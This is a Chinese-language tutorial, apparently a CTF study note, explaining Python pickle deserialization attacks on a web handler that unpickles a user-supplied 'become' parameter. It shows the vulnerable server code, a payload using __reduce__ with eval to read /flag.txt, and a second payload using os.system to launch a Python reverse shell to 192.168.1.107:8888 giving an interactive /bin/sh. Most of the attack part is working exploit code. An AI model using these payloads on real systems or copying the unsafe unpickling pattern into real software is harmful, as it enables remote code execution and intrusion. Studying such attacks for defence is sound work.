原理
在网页源码中如果出现将用户输入数据进行反序列化当成参数输出时,出现漏洞,可造成任
意命令执行
例如网页源码
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
过程:用户传入become参数,服务器将become参数url解码再反序列化并将结果给p,将p当
作一个参数给res,并且form.html有向客户端显示res的部分
那么攻击方式就是修改可控的become参数,当序列化以及反序列化的过程中中碰到一无所知的扩展类型( python2,这里指的就是新式类)的时候,可以通过类中定义的 __reduce__ 方法来告知如何进行序列化或者反序列化。
也就是说我们,只要在新式类中定义一个__reduce__ 方法,我们就能在序列化的使用让这个类根据我们在 __reduce__ 中指定的方式进行序列化。
Demo:
①首先用python得到攻击所需的payload
class payload(object):
def __reduce__(self):
return (eval,("open('/flag.txt','r').read()",)) //表示用eval的方式序列化后面内容
a=pickle.dumps(payload()) //得到指定方法序列化后的pickle数据
print(urllib.quote(a)) //得到url编码后的payload
②接下来服务端收到payload后
p = pickle.loads(urllib.unquote(a)) //先url解码再用指定方法反序列化内容,结果执行了代码
return self.render('form.html', res=p, member=1) //这时p已经是执行代码后的内容了
拓展:
既然能够任意执行代码,那么就可以反弹shell,以下为payload代码
import pickle
import urllib
import os
class exp(object):
def __reduce__(self):
s="""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' """
return os.system, (s,) //指明用os.system方法序列化s字符串内容
poc = pickle.dumps(exp()) //按照指定方式序列化字符串
print(urllib.quote(poc))
详细的看下字符串内容
python -c '执行命令'
执行命令
Import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.1.107",8888));
os.dup2(s.fileno(),0); //表示所有的输入内容都传送给socket
os.dup2(s.fileno(),1); //表示所有的输出内容都传送给socket
os.dup2(s.fileno(),2); //表示所有的错误输出都传送给socket
p=subprocess.call(["/bin/sh","-i"]); //使用sh -i 使shell可交互